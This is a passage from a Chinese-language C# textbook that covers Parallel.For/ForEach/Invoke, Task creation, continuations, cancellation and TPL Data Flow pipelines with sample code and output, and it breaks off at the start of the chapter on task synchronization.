ParallelLoopResult result = Parallel.For(0, 10, async i => { Log($"S {i}"); await Task.Delay(10); Log($"E {i}"); }); WriteLine($"is completed: {result.IsCompleted}"); } 其结果如以下代码片段所示。在输出中可以看到,调用Thread.Delay()方法后,线 程发生了变化。例如,循环迭代8在延迟前的线程ID为7,在延迟后的线程ID为5。在输出 中还可以看到,任务不再存在,只有线程留下了,而且这里重用了前面的线程。另外一个 重要的方面是,Parallel类的For()方法并没有等待延迟,而是直接完成。Parallel类只等 待它创建的任务,而不等待其他后台活动。在延迟后,也有可能完全看不到方法的输出, 出现这种情况的原因是主线程(是一个前台线程)结束,所有的后台线程被终止。本章后 面将讨论前台线程和后台线程。 S 0, task: 5, thread: 1 S 8, task: 8, thread: 7 S 6, task: 7, thread: 8 S 4, task: 9, thread: 6 S 2, task: 6, thread: 5 S 7, task: 7, thread: 8 S 1, task: 5, thread: 1 S 5, task: 9, thread: 6 S 9, task: 8, thread: 7 S 3, task: 6, thread: 5 Is completed: True E 2, task: , thread: 8 E 0, task: , thread: 8 E 8, task: , thread: 5 E 6, task: , thread: 7 E 4, task: , thread: 6 E 5, task: , thread: 7 E 7, task: , thread: 7 E 1, task: , thread: 6 E 3, task: , thread: 5 E 9, task: , thread: 8  注意: 从这里可以看到,虽然使用.NET 4.5和C# 5.0的异步功能十分方便, 但是知道后台发生了什么仍然很重要,而且必须留意一些问题。 21.2.2 提前停止Parallel.For 也可以提前中断Parallel.For()方法,而不是完成所有迭代。For()方法的一个重 载版本接受Action<int, ParallelLoopState>类型的第3个参数。使用这些参数定义一个方 法,就可以调用ParallelLoopState的Break()或Stop()方法,以影响循环的结果。 注意,迭代的顺序没有定义(代码文件ParallelSamples/Program.cs)。 public static void StopParallelForEarly() { ParallelLoopResult result = Parallel.For(10, 40, (int i, ParallelLoopState pls) => { Log($"S {i}"); if (i > 12) { pls.Break(); Log($"break now... {i}"); } Task.Delay(10).Wait(); Log($"E {i}"); }); WriteLine($"Is completed: {result.IsCompleted}"); WriteLine($"lowest break iteration: {result.LowestBreakIteration}"); } 应用程序的这次运行说明,迭代在值大于12时中断,但其他任务可以同时运行,有其 他值的任务也可以运行。在中断前开始的所有任务都可以继续运行,直到结束。利用 LowestBreakIteration属性,可以忽略其他你不需要的任务的结果。 S 31, task: 6, thread: 8 S 17, task: 7, thread: 5 S 10, task: 5, thread: 1 S 24, task: 8, thread: 6 break now 24, task: 8, thread: 6 S 38, task: 9, thread: 7 break now 38, task: 9, thread: 7 break now 31, task: 6, thread: 8 break now 17, task: 7, thread: 5 E 17, task: 7, thread: 5 E 10, task: 5, thread: 1 S 11, task: 5, thread: 1 E 38, task: 9, thread: 7 E 24, task: 8, thread: 6 E 31, task: 6, thread: 8 E 11, task: 5, thread: 1 S 12, task: 5, thread: 1 E 12, task: 5, thread: 1 S 13, task: 5, thread: 1 break now 13, task: 5, thread: 1 E 13, task: 5, thread: 1 Is completed: False lowest break iteration: 13 21.2.3 Parallel.For()的初始化 Parallel.For()方法使用几个线程来执行循环。如果需要对每个线程进行初始化,就 可以使用Parallel.For<TLocal>()方法。除了from和to对应的值之外,For()方法的泛型 版本还接受3个委托参数。第一个参数的类型是Func<TLocal>,因为这里的例子对于 TLocal使用字符串,所以该方法需要定义为Func<string>,即返回string的方法。这个方法 仅对用于执行迭代的每个线程调用一次。 第二个委托参数为循环体定义了委托。在示例中,该参数的类型是Func<int, ParallelLoopState, string , string>。其中第一个参数是循环迭代,第二个参数 ParallelLoopState允许停止循环,如前所述。循环体方法通过第3个参数接收从init方法返回 的值,循环体方法还需要返回一个值,其类型是用泛型For参数定义的。 For()方法的最后一个参数指定一个委托Action<TLocal>;在该示例中,接收一个 字符串。这个方法仅对于每个线程调用一次,这是一个线程退出方法(代码文件 ParallelSamples/Program.cs)。 public static void ParallelForWithInit() { Parallel.For<string>(0, 10, () => { // invoked once for each thread Log($"init thread"); return $"t{Thread.CurrentThread.ManagedThreadId}"; }, (i, pls, str1) => { // invoked for each member Log($"body i {i} str1 {str1}"); Task.Delay(10).Wait(); return $"i {i}"; }, (str1) => { // final action on each thread Log($"finally {str1}"); }); } 运行一次这个程序的结果如下: init thread task: 7, thread: 6 init thread task: 6, thread: 5 body i: 4 str1: t6 task: 7, thread: 6 body i: 2 str1: t5 task: 6, thread: 5 init thread task: 5, thread: 1 body i: 0 str1: t1 task: 5, thread: 1 init thread task: 9, thread: 8 body i: 8 str1: t8 task: 9, thread: 8 init thread task: 8, thread: 7 body i: 6 str1: t7 task: 8, thread: 7 body i: 1 str1: i 0 task: 5, thread: 1 finally i 2 task: 6, thread: 5 init thread task: 16, thread: 5 finally i 8 task: 9, thread: 8 init thread task: 17, thread: 8 body i: 9 str1: t8 task: 17, thread: 8 finally i 6 task: 8, thread: 7 init thread task: 18, thread: 7 body i: 7 str1: t7 task: 18, thread: 7 finally i 4 task: 7, thread: 6 init thread task: 15, thread: 10 body i: 3 str1: t10 task: 15, thread: 10 body i: 5 str1: t5 task: 16, thread: 5 finally i 1 task: 5, thread: 1 finally i 5 task: 16, thread: 5 finally i 3 task: 15, thread: 10 finally i 7 task: 18, thread: 7 finally i 9 task: 17, thread: 8 输出显示,为每个线程只调用一次init()方法;循环体从初始化中接收第一个字符 串,并用相同的线程将这个字符串传递到下一个迭代体。最后,为每个线程调用一次最后 一个动作,从每个体中接收最后的结果。 通过这个功能,这个方法完美地累加了大量数据集合的结果。 21.2.4 使用Parallel.ForEach()方法循环 Parallel.ForEach()方法遍历实现了IEnumerable的集合,其方式类似于foreach语句, 但以异步方式遍历。这里也没有确定遍历顺序(代码文件ParallelSamples/Program.cs)。 public static void ParallelForEach() { string[] data = {"zero", "one", "two", "three", "four", "five", "six", "seven", "eight", "nine", "ten", "eleven", "twelve"}; ParallelLoopResult result = Parallel.ForEach<string>(data, s => { WriteLine(s); }); } 如果需要中断循环,就可以使用ForEach()方法的重载版本和ParallelLoopState参 数。其方式与前面的For()方法相同。ForEach()方法的一个重载版本也可以用于访问 索引器,从而获得迭代次数,如下所示: Parallel.ForEach<string>(data, (s, pls, l) => { WriteLine($"{s} {l}"); }); 21.2.5 通过Parallel.Invoke()方法调用多个 方法 如果多个任务将并行运行,就可以使用Parallel.Invoke()方法,它提供了任务并行 性模式。Parallel.Invoke()方法允许传递一个Action委托的数组,在其中可以指定将运行 的方法。示例代码传递了要并行调用的Foo()和Bar()方法(代码文件 ParallelSamples/Program.cs): public static void ParallelInvoke() { Parallel.Invoke(Foo, Bar); } public static void Foo() { WriteLine("foo"); } public static void Bar() { WriteLine("bar"); } Parallel类使用起来十分方便,而且既可以用于任务,又可以用于数据并行性。如果 需要更细致的控制,并且不想等到Parallel类结束后再开始动作,就可以使用Task类。当 然,结合使用Task类和Parallel类也是可以的。 21.3 任务 为了更好地控制并行操作,可以使用System.Threading.Tasks名称空间中的Task类。任 务表示将完成的某个工作单元。这个工作单元可以在单独的线程中运行,也可以以同步方 式启动一个任务,这需要等待主调线程。使用任务不仅可以获得一个抽象层,还可以对底 层线程进行很多控制。 在安排需要完成的工作时,任务提供了非常大的灵活性。例如,可以定义连续的工作 ——在一个任务完成后该执行什么工作。这可以根据任务成功与否来区分。另外,还可以 在层次结构中安排任务。例如,父任务可以创建新的子任务。这可以创建一种依赖关系, 这样,取消父任务,也会取消其子任务。 21.3.1 启动任务 要启动任务,可以使用TaskFactory类或Task类的构造函数和Start()方法。Task类的 构造函数在创建任务上提供的灵活性较大。 TaskSamples的示例代码使用如下依赖项和名称空间: 依赖项: NETStandard.Library System.Threading.Thread 名称空间: System.Threading System.Threading.Tasks static System.Console 在启动任务时,会创建Task类的一个实例,利用Action或Action<object>委托(不带参 数或带一个object参数),可以指定将运行的代码。下面定义的方法TaskMethod带一个参 数。在实现代码中,调用Log方法,把任务的ID和线程的ID写入控制台中,并且如果线程 来自一个线程池,或者线程是一个后台线程,也要写入相关信息。把多条消息写入控制台 的操作是使用lock关键字和s_logLock同步对象进行同步的。这样,就可以并行调用Log, 而且多次写入控制台的操作也不会彼此交叉。否则,title可能由一个任务写入,而线程信 息由另一个任务写入(代码文件TaskSamples/Program.cs): public static void TaskMethod(object o) { Log(o? .ToString()); } private static object s_logLock = new object(); public static void Log(string title) { lock (s_logLock) { WriteLine(title); WriteLine($"Task id: {Task.CurrentId? .ToString() ? ? "no task"}, " + $"thread: {Thread.CurrentThread.ManagedThreadId}"); #if (! DNXCORE) WriteLine($"is pooled thread: {Thread.CurrentThread.IsThreadPoolThread}") ; #endif WriteLine($"is background thread: {Thread.CurrentThread.IsBackground}"); WriteLine(); } }  注意: 线程API IsThreadPoolThread不可用于.NET Core 1.0运行库;这就是为 什么使用预处理器指令的原因。 接下来的几小节描述了启动新任务的不同方法。 1.使用线程池的任务 在本节中,可以看到启动使用了线程池中线程的任务的不同方式。线程池提供了一个 后台线程的池。现在,只需要知道线程池独自管理线程,根据需要增加或减少线程池中的 线程数。线程池中的线程用于实现一些操作,之后仍然返回线程池中。 创建任务的第一种方式是使用实例化的TaskFactory类,在其中把TaskMethod方法传 递给StartNew方法,就会立即启动任务。第二种方式是使用Task类的静态属性Factory来访 问TaskFactory,以及调用StartNew()方法。它与第一种方式很类似,也使用了工厂,但 是对工厂创建的控制则没有那么全面。第三种方式是使用Task类的构造函数。实例化Task 对象时,任务不会立即运行,而是指定Created状态。接着调用Task类的Start()方法,来 启动任务。第四种方式调用Task类的Run方法,立即启动任务。Run方法没有可以传递 Action<object>委托的重载版本,但是通过传递Action类型的lambda表达式并在其实现中使 用参数,可以模拟这种行为(代码文件TaskSamples/Program.cs)。 public void TasksUsingThreadPool() { var tf = new TaskFactory(); Task t1 = tf.StartNew(TaskMethod, "using a task factory"); Task t2 = Task.Factory.StartNew(TaskMethod, "factory via a task"); var t3 = new Task(TaskMethod, "using a task constructor and Start"); t3.Start(); Task t4 = Task.Run(() => TaskMethod("using the Run method")); } 这些版本返回的输出如下所示。它们都创建一个新任务,并使用线程池中的一个线 程: factory via a task Task id: 5, thread: 6 is pooled thread: True is background thread: True using the Run method Task id: 6, thread: 7 is pooled thread: True is background thread: True using a task factory Task id: 7, thread: 5 is pooled thread: True is background thread: True using a task constructor and Start Task id: 8, thread: 8 is pooled thread: True is background thread: True 使用Task构造函数和TaskFactory的StartNew()方法时,可以传递 TaskCreationOptions枚举中的值。利用这个创建选项,可以改变任务的行为,如接下来的 小节所示。 2.同步任务 任务不一定要使用线程池中的线程,也可以使用其他线程。任务也可以同步运行,以 相同的线程作为主调线程。下面的代码段使用了Task类的RunSynchronously()方法(代 码文件TaskSamples/Program.cs): private static void RunSynchronousTask() { TaskMethod("just the main thread"); var t1 = new Task(TaskMethod, "run sync"); t1.RunSynchronously(); } 这里,TaskMethod()方法首先在主线程上直接调用,然后在新创建的Task上调用。 从如下所示的控制台输出可以看到,主线程没有任务ID,也不是线程池中的线程。调用 RunSynchronously()方法时,会使用相同的线程作为主调线程,但是如果以前没有创建 任务,就会创建一个任务: just the main thread Task id: no task, thread: 1 is pooled thread: False is background thread: True run sync Task id: 5, thread: 1 is pooled thread: False is background thread: True  注意: 如果不使用.NET Core运行库,线程就是一个前台线程。这是新 旧.NET运行库之间的一个有趣的差异。在旧的运行库中,主线程是前台线程;在新的 运行库中,它是一个后台线程。 3.使用单独线程的任务 如果任务的代码将长时间运行,就应该使用TaskCreationOptions.LongRunning告诉任 务调度器创建一个新线程,而不是使用线程池中的线程。此时,线程可以不由线程池管 理。当线程来自线程池时,任务调度器可以决定等待已经运行的任务完成,然后使用这个 线程,而不是在线程池中创建一个新线程。对于长时间运行的线程,任务调度器会立即知 道等待它们完成没有意义。下面的代码片段创建了一个长时间运行的任务(代码文件 TaskSamples/Program.cs): private static void LongRunningTask() { var t1 = new Task(TaskMethod, "long running", TaskCreationOptions.LongRunning); t1.Start(); } 实际上,使用TaskCreationOptions.LongRunning选项时,不会使用线程池中的线程, 而是会创建一个新线程: long running Task id: 5, thread: 7 is pooled thread: False IS background thread: True 21.3.2 Future——任务的结果 当任务结束时,它可以把一些有用的状态信息写到共享对象中。这个共享对象必须是 线程安全的。另一个选项是使用返回某个结果的任务。这种任务也称为future,因为它在 将来返回一个结果。早期版本的Task Parallel Library(TPL)的类名也称为Future,现在它 是Task类的一个泛型版本。使用这个类时,可以定义任务返回的结果的类型。 由任务调用来返回结果的方法可以声明为任何返回类型。下面的示例方法 TaskWithResult()利用一个元组返回两个int值。该方法的输入可以是void或object类型, 如下所示(代码文件TaskSamples/Program.cs): public static Tuple<int, int> TaskWithResult(object division) { Tuple<int, int> div = (Tuple<int, int>)division; int result = div.Item1 / div.Item2; int reminder = div.Item1 % div.Item2; WriteLine("task creates a result..."); return Tuple.Create(result, reminder); }  注意: 元组允许把多个值组合为一个,参见第7章。 当定义一个调用TaskWithResult()方法的任务时,要使用泛型类Task<TResult>。泛 型参数定义了返回类型。通过构造函数,把这个方法传递给Func委托,第二个参数定义了 输入值。因为这个任务在object参数中需要两个输入值,所以还创建了一个元组。接着启 动该任务。Task实例t1块的Result属性被禁用,并一直等到该任务完成。任务完成后, Result属性包含任务的结果。 public static void TaskWithResultDemo() { var t1 = new Task<Tuple<int, int>>(TaskWithResult, Tuple.Create(8, 3)); t1.Start(); WriteLine(t1.Result ); t1.Wait(); WriteLine($"result from task: {t1.Result.Item1} {t1.Result.Item2}"); } 21.3.3 连续的任务 通过任务,可以指定在任务完成后,应开始运行另一个特定任务,例如,一个使用前 一个任务的结果的新任务,如果前一个任务失败了,这个任务就应执行一些清理工作。 任务处理程序或者不带参数,或者带一个对象参数,而连续处理程序有一个Task类型 的参数,这里可以访问起始任务的相关信息(代码文件TaskSamples/Program.cs): private static void DoOnFirst() { WriteLine($"doing some task {Task.CurrentId}"); Task.Delay(3000).Wait(); } private static void DoOnSecond(Task t) { WriteLine($"task {t.Id} finished"); WriteLine($"this task id {Task.CurrentId}"); WriteLine("do some cleanup"); Task.Delay(3000).Wait(); } 连续任务通过在任务上调用ContinueWith()方法来定义。也可以使用TaskFactory类 来定义。tl.OnContinueWith(DoOnSecond)方法表示,调用DoOnSecond()方法的新任 务应在任务t1结束时立即启动。在一个任务结束时,可以启动多个任务,连续任务也可以 有另一个连续任务,如下面的例子所示(代码文件TaskSamples/Program.cs): public static void ContinuationTasks() { Task t1 = new Task(DoOnFirst); Task t2 = t1.ContinueWith(DoOnSecond); Task t3 = t1.ContinueWith(DoOnSecond); Task t4 = t2.ContinueWith(DoOnSecond); t1.Start(); } 无论前一个任务是如何结束的,前面的连续任务总是在前一个任务结束时启动。使用 TaskContinuationOptions枚举中的值可以指定,连续任务只有在起始任务成功(或失败) 结束时启动。一些可能的值是OnlyOnFaulted、NotOnFaulted、OnlyOnCanceled、 NotOnCanceled以及OnlyOnRanToCompletion。 Task t5 = t1.ContinueWith(DoOnError, TaskContinuationOptions.OnlyOnFaulted) ;  注意: 使用第15章介绍过的await关键字时,编译器生成的代码会使用连续任 务。 21.3.4 任务层次结构 利用任务连续性,可以在一个任务结束后启动另一个任务。任务也可以构成一个层次 结构。一个任务启动一个新任务时,就启动了一个父/子层次结构。 下面的代码段在父任务内部新建一个任务对象并启动任务。创建子任务的代码与创建 父任务的代码相同,唯一的区别是这个任务从另一个任务内部创建。(代码文件 TaskSamples/Program.cs。) public static void ParentAndChild() { var parent = new Task(ParentTask); parent.Start(); Task.Delay(2000).Wait(); WriteLine(parent.Status); Task.Delay(4000).Wait(); WriteLine(parent.Status); } private static void ParentTask() { WriteLine($"task id {Task.CurrentId}"); var child = new Task(ChildTask); child.Start(); Task.Delay(1000).Wait(); WriteLine("parent started child"); } private static void ChildTask() { WriteLine("child"); Task.Delay(5000).Wait(); WriteLine("child finished"); } 如果父任务在子任务之前结束,父任务的状态就显示为 WaitingForChildrenToComplete。所有的子任务也结束时,父任务的状态就变成 RanToCompletion。当然,如果父任务用TaskCreationOption DetachedFromParent创建一个 任务时,这就无效。 取消父任务,也会取消子任务。接下来就讨论取消架构。 21.3.5 从方法中返回任务 返回任务和结果的方法声明为返回Task< T >,例如,方法返回一个任务和字符串集 合: public Task<IEnumerable<string>> TaskMethodAsync() { } 创建访问网络或数据的方法通常是异步的,这样,就可以使用任务特性来处理结果 (例如使用async关键字,参见第15章)。如果有同步路径,或者需要实现一个用同步代 码定义的接口,就不需要为了结果的值创建一个任务。Task类使用方法FromResult()提 供了创建一个结果与完成的任务,该任务用状态RanToCompletion表示完成: return Task.FromResult <IEnumerable<string>>( new List<string>() { "one", "two" }); 21.3.6 等待任务 也许读者学习过Task类的WhenAll()和WaitAll()方法,想知道它们之间的区别。 这两个方法都等待传递给它们的所有任务的完成。WaitAll()方法(自.NET 4之后可 用)阻塞调用任务,直到等待的所有任务完成为止。WhenAll()方法(自.NET 4.5之后 可用)返回一个任务,从而允许使用async关键字等待结果,它不会阻塞等待的任务。 在等待的所有任务都完成后,WhenAll()和WaitAll()方法才完成,而使用 WhenAny()和WaitAny()方法,可以等待任务列表中的一个任务完成。类似于 WhenAll()和WaitAll()方法,WaitAny()方法会阻塞任务的调用,而WhenAny() 返回可以等待的任务。 前面几个示例已经使用了Task.Delay()方法。可以指定从这个方法返回的任务完成 前要等待的毫秒数。 如果将释放CPU,从而允许其他任务运行,就可以调用Task.Yield()方法。该方法 释放CPU,让其他任务运行。如果没有其他的任务等待运行,调用Task.Yield的任务就立 即继续执行。否则,需要等到再次调度CPU,以调用任务。 21.4 取消架构 .NET 4.5包含一个取消架构,允许以标准方式取消长时间运行的任务。每个阻塞调用 都应支持这种机制。当然目前,并不是所有阻塞调用都实现了这个新技术,但越来越多的 阻塞调用都支持它。已经提供了这种机制的技术有任务、并发集合类、并行LINQ和几种 同步机制。 取消架构基于协作行为,它不是强制的。长时间运行的任务会检查它是否被取消,并 相应地返回控制权。 支持取消的方法接受一个CancellationToken参数。这个类定义了 IsCancellationRequested属性,其中长时间运行的操作可以检查它是否应终止。长时间运行 的操作检查取消的其他方式有:取消标记时,使用标记的WaitHandle属性,或者使用 Register()方法。Register()方法接受Action和ICancelableOperation类型的参数。Action 委托引用的方法在取消标记时调用。这类似于ICancelableOperation,其中实现这个接口的 对象的Cancel()方法在执行取消操作时调用。 CancellationSamples的示例代码使用如下依赖项和名称空间: 依赖项: NETStandard.Library System.Threading.Tasks.Parallel 名称空间: System System.Threading System.Threading.Tasks static System.Console 21.4.1 Parallel.For()方法的取消 本节以一个使用Parallel.For()方法的简单例子开始。Parallel类提供了For()方法 的重载版本,在重载版本中,可以传递ParallelOptions类型的参数。使用ParallelOptions类 型,可以传递一个CancellationToken参数。CancellationToken参数通过创建 CancellationTokenSource来生成。由于CancellationTokenSource实现了ICancelableOperation 接口,因此可以用CancellationToken注册,并允许使用Cancel()方法取消操作。本例没 有直接调用Cancel()方法,而是使用了.NET 4.5中的一个新方法CancelAfter(),在500 毫秒后取消标记。 在For()循环的实现代码内部,Parallel类验证CancellationToken的结果,并取消操 作。一旦取消操作,For()方法就抛出一个OperationCanceledException类型的异常,这 是本例捕获的异常。使用CancellationToken可以注册取消操作时的信息。为此,需要调用 Register()方法,并传递一个在取消操作时调用的委托(代码文件 CancellationSamples/Program.cs)。 public static void CancelParallelFor() { var cts = new CancellationTokenSource(); cts.Token.Register(() => WriteLine("*** token cancelled")); // send a cancel after 500 ms cts.CancelAfter(500); try { ParallelLoopResult result = Parallel.For(0, 100, new ParallelOptions { CancellationToken = cts.Token, }, x => { WriteLine($"loop {x} started"); int sum = 0; for (int i = 0; i < 100; i++) { Task.Delay(2).Wait(); sum += i; } WriteLine($"loop {x} finished"); }); } catch (OperationCanceledException ex) { WriteLine(ex.Message); } } 运行应用程序,会得到类似如下的结果,第0、50、25、75和1次迭代都启动了。这在 一个有4个内核CPU的系统上运行。通过取消操作,所有其他的迭代操作都在启动之前就 取消了。启动的迭代操作允许完成,因为取消操作总是以协作方式进行,以避免在取消迭 代操作的中间泄漏资源。 loop 0 started loop 50 started loop 25 started loop 75 started loop 1 started *** token cancelled loop 75 finished loop 50 finished loop 1 finished loop 0 finished loop 25 finished The operation was canceled. 21.4.2 任务的取消 同样的取消模式也可用于任务。首先,新建一个CancellationTokenSource。如果仅需 要一个取消标记,就可以通过访问Task.Factory.CancellationToken以使用默认的取消标 记。接着,与前面的代码类似,在500毫秒后取消任务。在循环中执行主要工作的任务通 过TaskFactory对象接受取消标记。在构造函数中,把取消标记赋予TaskFactory。这个取消 标记由任务用于检查CancellationToken的IsCancellationRequested属性,以确定是否请求了 取消(代码文件CancellationSamples/Program.cs)。 public void CancelTask() { var cts = new CancellationTokenSource(); cts.Token.Register(() => WriteLine("*** task cancelled")); // send a cancel after 500 ms cts.CancelAfter(500); Task t1 = Task.Run(() => { WriteLine("in task"); for (int i = 0; i < 20; i++) { Task.Delay(100).Wait(); CancellationToken token = cts.Token; if (token.IsCancellationRequested) { WriteLine("cancelling was requested, " + "cancelling from within the task"); token.ThrowIfCancellationRequested(); break; } WriteLine("in loop"); } WriteLine("task finished without cancellation"); }, cts.Token); try { t1.Wait(); } catch (AggregateException ex) { WriteLine($"exception: {ex.GetType().Name}, {ex.Message}"); foreach (var innerException in ex.InnerExceptions) { WriteLine($"inner exception: {ex.InnerException.GetType()}, " + $"{ex.InnerException.Message}"); } } } 运行应用程序,可以看到任务启动了,运行了几个循环,并获得了取消请求。之后取 消任务,并抛出TaskCanceledException异常,它是从方法调用 ThrowIfCancellationRequested()中启动的。调用者等待任务时,会捕获 AggregateException异常,它包含内部异常TaskCanceledException。例如,如果在一个也被 取消的任务中运行Parallel.For()方法,这就可以用于取消的层次结构。任务的最终状态 是Canceled。 in task in loop in loop in loop in loop *** task cancelled cancelling was requested, cancelling from within the task exception: AggregateException, One or more errors occurred. inner exception: TaskCanceledException, A task was canceled. 21.5 数据流 Parallel类、Task类和Parallel LINQ为数据并行性提供了很多帮助。但是,这些类不能 直接支持数据流的处理,以及并行转换数据。此时,需要使用Task Parallel Library Data Flow(TPL Data Flow)。 数据流示例的代码使用了如下依赖项和名称空间: 依赖项: NETStandard.Library System.Threading.Tasks.Dataflow 名称空间: System System.IO System.Threading System.Threading.Tasks System.Threading.Tasks.DataFlow static System.Console 21.5.1 使用动作块 TPL Data Flow的核心是数据块,这些数据块作为提供数据的源或者接收数据的目 标,或者同时作为源和目标。下面看一个简单的示例,其中用一个数据块来接收一些数据 并把数据写入控制台。下面的代码段定义了一个ActionBlock,它接收一个字符串,并把 字符串中的信息写入控制台。Main()方法在一个while循环中读取用户输入,然后调用 Post()方法把读入的所有字符串写入ActionBlock。ActionBlock异步处理消息,把信息写 入控制台(代码文件SimpleDataFlowSample/Program.cs): static void Main() { var processInput = new ActionBlock<string>(s => { WriteLine($"user input: {s}"); }); bool exit = false; while (! exit) { string input = ReadLine(); if (string.Compare(input, "exit", ignoreCase: true) == 0) { exit = true; } else { processInput.Post(input); } } } 21.5.2 源和目标数据块 以前示例中分配给ActionBlock的方法执行时,ActionBlock会使用一个任务来并行执 行。通过检查任务和线程标识符,并把它们写入控制台可以验证这一点。每个块都实现了 IDataflowBlock接口,该接口包含了返回一个Task的属性Completion,以及Complete()和 Fault()方法。调用Complete()方法后,块不再接受任何输入,也不再产生任何输出。 调用Fault()方法则把块放入失败状态。 如前所述,块既可以是源,也可以是目标,还可以同时是源和目标。在示例中, ActionBlock是一个目标块,所以实现了ITargetBlock接口。ITargetBlock派生自 IDataflowBlock,除了提供IDataBlock接口的成员以外,还定义了OfferMessage()方法。 OfferMessage()发送一条由块处理的消息。Post是比OfferMessage更方便的一个方法, 它实现为ITargetBlock接口的扩展方法。示例应用程序中也使用了Post()方法。 ISourceBlock接口由作为数据源的块实现。除了IDataBlock接口的成员以外, ISourceBlock还提供了链接到目标块以及处理消息的方法。 BufferBlock同时作为数据源和数据目标,它实现了ISourceBlock和ITargetBlock。在下 一个示例中,就使用这个BufferBlock来收发消息(代码文件 SimpleDataFlowSample/Program.cs): private static BufferBlock<string> s_buffer = new BufferBlock<string>(); Producer()方法从控制台读取字符串,并通过调用Post()方法把字符串写到 BufferBlock中: public static void Producer() { bool exit = false; while (! exit) { string input = ReadLine(); if (string.Compare(input, "exit", ignoreCase: true) == 0) { exit = true; } else { s_buffer.Post(input); } } } Consumer()方法在一个循环中调用ReceiveAsync()方法来接收BufferBlock中的数 据。ReceiveAsync是ISourceBlock接口的一个扩展方法: public static async Task ConsumerAsync() { while (true) { string data = await s_buffer.ReceiveAsync(); WriteLine($"user input: {data}"); } } 现在,只需要启动消息的产生者和使用者。在Main()方法中通过两个独立的任务 完成启动操作: static void Main() { Task t1 = Task.Run(() => Producer()); Task t2 = Task.Run(async () => await ConsumerAsync()); Task.WaitAll(t1, t2); } 运行应用程序时,产生者从控制台读取数据,使用者接收数据并把它们写入控制台。 21.5.3 连接块 本节将连接多个块,创建一个管道。首先,创建由块使用的3个方法。 GetFileNames()方法接收一个目录路径作为参数,得到以.cs为扩展名的文件名(代码文 件DataFlowSample/Program.cs): public static IEnumerable<string> GetFileNames(string path) { foreach (var fileName in Directory.EnumerateFiles(path, "*.cs")) { yield return fileName; } } LoadLines()方法以一个文件名列表作为参数,得到文件中的每一行: public static IEnumerable<string> LoadLines(IEnumerable<string> fileNames) { foreach (var fileName in fileNames) { using (FileStream stream = File.OpenRead(fileName)) { var reader = new StreamReader(stream); string line = null; while ((line = reader.ReadLine()) ! = null) { //WriteLine($"LoadLines {line}"); yield return line; } } } } GetWords()方法接收一个lines集合作为参数,将其逐行分割,从而得到并返回一个 单词列表: public static IEnumerable<string> GetWords(IEnumerable<string> lines) { foreach (var line in lines) { string[] words = line.Split(' ', '; ', '(', ')', '{', '}', '.', ', '); foreach (var word in words) { if (! string.IsNullOrEmpty(word)) yield return word; } } } 为了创建管道,SetupPipeline()方法创建了3个TransformBlock对象。 TransformBlock是一个源和目标块,通过使用委托来转换源。第一个TransformBlock被声 明为将一个字符串转换为IEnumerable<string>。这种转换是通过GetFileNames()方法完 成的,GetFileNames()方法在传递给第一个块的构造函数的lambda表达式中调用。类似 地,接下来的两个TransformBlock对象用于调用LoadLines()和GetWords()方法: public static ITargetBlock<string> SetupPipeline() { var fileNamesForPath = new TransformBlock<string, IEnumerable<string>>( path => { return GetFileNames(path); }); var lines = new TransformBlock<IEnumerable<string>, IEnumerable<string>>( fileNames => { return LoadLines(fileNames); }); var words = new TransformBlock<IEnumerable<string>, IEnumerable<string>>( lines2 => { return GetWords(lines2); }); 定义的最后一个块是ActionBlock。这个块只是一个用于接收数据的目标块,前面已 经用过: var display = new ActionBlock<IEnumerable<string>>( coll => { foreach (var s in coll) { WriteLine(s); } }); 最后,将这些块彼此连接起来。fileNamesForPath被链接到lines块,其结果被传递给 lines块。lines块链接到words块,words块链接到display块。最后,返回用于启动管道的 块: fileNamesForPath.LinkTo(lines); lines.LinkTo(words); words.LinkTo(display); return fileNamesForPath; } 现在,Main()方法只需要启动管道。调用Post()方法传递目录时,管道就会启 动,并最终将单词从C#源代码写入控制台。这里可以发出多个启动管道的请求,传递多 个目录,并行执行这些任务: static void Main() { var target = SetupPipeline(); target.Post("."); ReadLine(); } 通过对TPL Data Flow库的简单介绍,可以看到这种技术的主要用法。该库还提供了 其他许多功能,例如以不同方式处理数据的不同块。BroadcastBlock允许向多个目标传递 输入源(例如将数据写入一个文件并显示该文件), JoinBlock将多个源连接到一个目标, BatchBlock将输入作为数组进行批处理。使用DataflowBlockOptions选项可以配置块,例如 一个任务中可以处理的最大项数,还可以向其传递取消标记来取消管道。使用链接技术, 可以对消息进行筛选,只传递满足指定条件的消息。 21.6 小结 本章介绍了如何通过System.Threading.Tasks名称空间编写多任务应用程序。在应用程 序中使用多线程要仔细规划。太多的线程会导致资源问题,线程不足又会使应用程序执行 缓慢,执行效果也不好。使用任务可以获得线程的抽象。这个抽象有助于避免创建过多的 线程,因为线程是在池中重用的。 我们探讨了创建多个任务的各种方法,如Parallel类。通过使用Parallel.Invoke、 Parallel.ForEach和Parallel.For,可以实现任务和数据的并行性。还介绍了如何使用Task类 来获得对并行编程的全面控制。任务可以在主调线程中异步运行,使用线程池中的线程, 以及创建独立的新线程。任务还提供了一个层次结构模型,允许创建子任务,并且提供了 一种取消完整层次结构的方法。 取消架构提供了一种标准机制,不同的类可以以相同的方法使用它来提前取消某个任 务。 第22章介绍使用任务的一个重要概念:同步。 第22章 任务同步 本章要点 ● 线程问题 ● lock关键字 ● 用监控器同步 ● 互斥 ● Semaphore和SemaphoreSlim ● ManualResetEvent、AutoResetEvent和CountdownEvent ● 障碍 ● 读写锁定 ● 计时器 本章源代码下载地址(wrox.com): 打开网页www.wrox.com/go/procsharp,单击Download Code选项卡即可下载本章源代 码。本章代码分为以下几个主要的示例文件: ● ThreadingIssues ● SynchronizationSamples ● SemaphoreSample ● EventSample ● EventSampleWithCountdownEvent ● BarrierSample ● ReaderWriterLockSample ● WinAppTimer 22.1 概述 第21章解释了如何使用Task和Parallel类创建多线程应用程序。本章介绍如何在多个进 程、任务和线程之间同步。 要避免同步问题,最好不要在线程之间共享数据。当然,这并不总是可行的。如果需 要共享数据,就必须使用同步技术,确保一次只有一个线程访问和改变共享状态。如果不 注意同步,就会出现争用条件和死锁。一个主要问题是错误会不时地发生。如果CPU核心 比较多,错误数量就会增加。这些错误通常很难找到。所以最好从一开始就注意同步。 使用多个任务是很容易的,只要它们不访问相同的变量。在某种程度上可以避免这种 情况,但有时,一些数据需要共享。共享数据时,需要应用同步技术。线程访问相同的数 据,而没有进行同步,立即出现问题是比较幸运的。但很少会出现这种情况。本章讨论了 争用条件和死锁,以及如何应用同步机制来避免它们。 .NET Framework提供了同步的几个选项。同步对象可以用在一个进程中或跨进程 中。可以使用它们来同步一个任务或多个任务,来访问一个资源或许多资源。同步对象也 